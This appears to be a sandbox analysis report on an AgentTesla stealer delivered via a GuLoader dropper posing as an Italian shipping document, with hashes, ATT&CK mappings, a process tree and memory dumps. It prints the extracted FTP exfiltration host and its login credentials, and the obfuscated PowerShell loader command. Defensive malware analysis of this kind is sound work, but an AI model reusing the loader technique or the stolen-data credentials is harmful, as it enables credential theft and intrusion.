agenttesla | fbcceeb087e972ef29b0e3561a022aa4e6897cd78de77049e130e47bafcde554

General

Target

Documenti di spedizione 00039488580006996960.bat.exe
Size

752KB
MD5

74b63fc7533ba2dfd75253a2ac5044f9
SHA1

20c6f4f4db0e850f1506e7d89be267f2fa1b21e2
SHA256

fbcceeb087e972ef29b0e3561a022aa4e6897cd78de77049e130e47bafcde554
SHA512

ff82f9a7138fce1aca1c59fd0fc7b050d59a5c507af33beb599bec543b7b3c8186a7e7ece3c8aa47ef5383d115b06231e80bffc398598764fd642a7228e23bb1
SSDEEP

12288:nXJaAf3gv3zDtlZcqY18aAV0uyXVU62+eqvIwLT6Q11m14VELQrr+ZuHu/bf95Ro:5aO3gvjs8JV0uyXE1w/K6ELDuO/J5e

Score

10^/10

agenttesla guloader credential_access discovery downloader execution keylogger spyware stealer trojan

Malware Config

Extracted

Family

agenttesla

Credentials

Protocol: ftp
Host:
ftp://ftp.concaribe.com
Port:
21
Username:
[email protected]
Password:
ro}UWgz#!38E

Signatures

AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
keylogger trojan stealer spyware agenttesla
Guloader,Cloudeye
A shellcode based downloader first seen in 2020.
downloader guloader
Credentials from Password Stores: Credentials from Web Browsers 1 TTPs
Malicious Access or copy of Web Browser Credential store.
credential_access stealer

Credentials from Web Browsers
T1555.003

Loads dropped DLL 1 IoCs

pid	Process
3548	Documenti di spedizione 00039488580006996960.bat.exe

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
33	api.ipify.org
34	api.ipify.org

Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs

pid	Process
2100	wabmig.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
1648	powershell.exe
2100	wabmig.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 1648 set thread context of 2100	1648	powershell.exe	91

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
1648	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Documenti di spedizione 00039488580006996960.bat.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wabmig.exe

Suspicious behavior: EnumeratesProcesses 11 IoCs

pid	Process
1648	powershell.exe
1648	powershell.exe
1648	powershell.exe
1648	powershell.exe
1648	powershell.exe
1648	powershell.exe
1648	powershell.exe
1648	powershell.exe
1648	powershell.exe
2100	wabmig.exe
2100	wabmig.exe

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
1648	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	1648	powershell.exe
Token: SeDebugPrivilege	2100	wabmig.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 3548 wrote to memory of 1648	3548	Documenti di spedizione 00039488580006996960.bat.exe	82
PID 3548 wrote to memory of 1648	3548	Documenti di spedizione 00039488580006996960.bat.exe	82
PID 3548 wrote to memory of 1648	3548	Documenti di spedizione 00039488580006996960.bat.exe	82
PID 1648 wrote to memory of 2100	1648	powershell.exe	91
PID 1648 wrote to memory of 2100	1648	powershell.exe	91
PID 1648 wrote to memory of 2100	1648	powershell.exe	91
PID 1648 wrote to memory of 2100	1648	powershell.exe	91
PID 1648 wrote to memory of 2100	1648	powershell.exe	91

C:\Users\Admin\AppData\Local\Temp\Documenti di spedizione 00039488580006996960.bat.exe
"C:\Users\Admin\AppData\Local\Temp\Documenti di spedizione 00039488580006996960.bat.exe"
1⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:3548
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -windowstyle minimized "$Paleolith179=Get-Content 'C:\Users\Admin\AppData\Roaming\Fastlggende246\Ytringsfriheds.Boe';$Scob=$Paleolith179.SubString(55585,3);.$Scob($Paleolith179)"
  2⤵
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - Suspicious use of SetThreadContext
  - Command and Scripting Interpreter: PowerShell
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1648
- - C:\Program Files (x86)\windows mail\wabmig.exe
    "C:\Program Files (x86)\windows mail\wabmig.exe"
    3⤵
    - Suspicious use of NtCreateThreadExHideFromDebugger
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2100

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Credentials from Password Stores

1

T1555

Credentials from Web Browsers

1

T1555.003

Discovery

System Information Discovery

1

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_seho2o3h.nyl.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsq7C94.tmp\nsExec.dll

Filesize
6KB

MD5
7f4a854abf13869f8b0f3c8952a1d4b0

SHA1
41c1dc531094abb81e5c37a04e7b88da14dd3980

SHA256
971b9daea9ad21621ac81776c13fdd899979ab920fed44c9066a41f60b961a4c

SHA512
df775a146adb801659bfec3921cf66975c8fa1425c66081ac168dc6294151d4a05c0c478d3d86fb445176bc7e775bd0165e8900d4354783ecdb9fab58a612dbe

Download Submit
C:\Users\Admin\AppData\Roaming\Fastlggende246\Airedaleterrier.Unb168

Filesize
337KB

MD5
7a0107219f1b8581a5dfcd74dc9ef188

SHA1
0dfcf90e9fff6b02ea1b8fe83915f7b7fdb3a375

SHA256
381a70fe5a97bb38740adbcbb16eb195c33993b32c5284fcd4f02aea48d90603

SHA512
62fe1dc02212d68ab41c15d39e1ab784aab8fbb77930cd64a658e22bf9e784d29a5c192e31ba9f8f20d8bdfa4e3245795c4fc38d037651abfd35ccbc9e11ffdd

Download Submit
C:\Users\Admin\AppData\Roaming\Fastlggende246\Ytringsfriheds.Boe

Filesize
54KB

MD5
46d49ead3b80676d7f7da4d9b4b12376

SHA1
91241d7dbfeca9f33276a879fe633c7961f94d8c

SHA256
a2a21751e762e44cb4d9590c0eedc71f546bc9bf65c8bc4b7722021b1af16fa5

SHA512
b62833aaa08aeba67bb17f911fa3f2876f254bc2f161ff61df3354b7ce165668cf2908f579350afd4c2c402a3910e0bf6269fe40d0c554688faa0a29a6b38400

Download Submit
memory/1648-36-0x0000000008910000-0x0000000008F8A000-memory.dmp

Filesize
6.5MB

Download
memory/1648-40-0x0000000073A10000-0x00000000741C0000-memory.dmp

Filesize
7.7MB

Download
memory/1648-16-0x00000000056B0000-0x00000000056D2000-memory.dmp

Filesize
136KB

Download
memory/1648-17-0x0000000005FA0000-0x0000000006006000-memory.dmp

Filesize
408KB

Download
memory/1648-18-0x0000000006010000-0x0000000006076000-memory.dmp

Filesize
408KB

Download
memory/1648-15-0x0000000073A10000-0x00000000741C0000-memory.dmp

Filesize
7.7MB

Download
memory/1648-28-0x0000000006080000-0x00000000063D4000-memory.dmp

Filesize
3.3MB

Download
memory/1648-29-0x0000000006690000-0x00000000066AE000-memory.dmp

Filesize
120KB

Download
memory/1648-30-0x0000000006720000-0x000000000676C000-memory.dmp

Filesize
304KB

Download
memory/1648-31-0x0000000007650000-0x00000000076E6000-memory.dmp

Filesize
600KB

Download
memory/1648-32-0x0000000006BA0000-0x0000000006BBA000-memory.dmp

Filesize
104KB

Download
memory/1648-33-0x0000000006BC0000-0x0000000006BE2000-memory.dmp

Filesize
136KB

Download
memory/1648-34-0x0000000007CE0000-0x0000000008284000-memory.dmp

Filesize
5.6MB

Download
memory/1648-13-0x00000000057C0000-0x0000000005DE8000-memory.dmp

Filesize
6.2MB

Download
memory/1648-12-0x00000000050C0000-0x00000000050F6000-memory.dmp

Filesize
216KB

Download
memory/1648-38-0x0000000073A10000-0x00000000741C0000-memory.dmp

Filesize
7.7MB

Download
memory/1648-39-0x0000000073A10000-0x00000000741C0000-memory.dmp

Filesize
7.7MB

Download
memory/1648-14-0x0000000073A10000-0x00000000741C0000-memory.dmp

Filesize
7.7MB

Download
memory/1648-11-0x0000000073A1E000-0x0000000073A1F000-memory.dmp

Filesize
4KB

Download
memory/1648-42-0x0000000073A10000-0x00000000741C0000-memory.dmp

Filesize
7.7MB

Download
memory/1648-43-0x0000000073A1E000-0x0000000073A1F000-memory.dmp

Filesize
4KB

Download
memory/1648-44-0x0000000073A10000-0x00000000741C0000-memory.dmp

Filesize
7.7MB

Download
memory/1648-45-0x0000000008F90000-0x000000000DA7C000-memory.dmp

Filesize
74.9MB

Download
memory/1648-46-0x0000000073A10000-0x00000000741C0000-memory.dmp

Filesize
7.7MB

Download
memory/1648-47-0x0000000073A10000-0x00000000741C0000-memory.dmp

Filesize
7.7MB

Download
memory/1648-49-0x0000000073A10000-0x00000000741C0000-memory.dmp

Filesize
7.7MB

Download
memory/2100-50-0x0000000002530000-0x000000000701C000-memory.dmp

Filesize
74.9MB

Download
memory/2100-51-0x00000000775A1000-0x00000000776C1000-memory.dmp

Filesize
1.1MB

Download
memory/2100-52-0x0000000077628000-0x0000000077629000-memory.dmp

Filesize
4KB

Download
memory/2100-53-0x00000000775A1000-0x00000000776C1000-memory.dmp

Filesize
1.1MB

Download
memory/2100-54-0x00000000012D0000-0x0000000002524000-memory.dmp

Filesize
18.3MB

Download
memory/2100-55-0x00000000012D0000-0x0000000001312000-memory.dmp

Filesize
264KB

Download
memory/2100-57-0x0000000025A40000-0x0000000025A90000-memory.dmp

Filesize
320KB

Download
memory/2100-58-0x0000000025B30000-0x0000000025BC2000-memory.dmp

Filesize
584KB

Download
memory/2100-59-0x0000000025A20000-0x0000000025A2A000-memory.dmp

Filesize
40KB

Download

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